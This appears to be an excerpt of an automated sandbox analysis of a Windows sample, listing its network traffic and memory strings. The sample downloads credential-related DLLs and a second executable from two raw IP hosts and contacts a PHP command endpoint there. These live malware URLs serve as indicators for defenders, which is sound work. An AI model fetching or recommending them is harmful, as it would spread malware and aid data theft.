Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log5.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log5.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log5.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2558172781.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2558803779.0000000000F75000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2558172781.0000000000B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2558172781.0000000000B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2558172781.0000000000B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll.
Source: file.exe, 00000000.00000002.2558172781.0000000000B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2558172781.0000000000B32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2558172781.0000000000B32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll8
Source: file.exe, 00000000.00000002.2558172781.0000000000B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2558172781.0000000000B32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2558172781.0000000000B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll(
Source: file.exe, 00000000.00000002.2581862430.000000002394D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2581862430.000000002395D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2558803779.0000000000F75000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2581862430.000000002395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpL
Source: file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpM
Source: file.exe, 00000000.00000002.2558172781.0000000000B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP
Source: file.exe, 00000000.00000002.2581862430.000000002395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpX
Source: file.exe, 00000000.00000002.2558803779.0000000000F75000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2558172781.0000000000B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpl
Source: file.exe, 00000000.00000002.2558172781.0000000000B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpt
Source: file.exe, 00000000.00000002.2558803779.0000000000F75000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206lfons
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.21.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2587007154.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2578639270.000000001D7F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, BFHDAEHD.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 721186f7-da6b-4321-b0e6-8b31ecc65bbc.tmp.10.dr	String found in binary or memory: https://assets2.msn.com
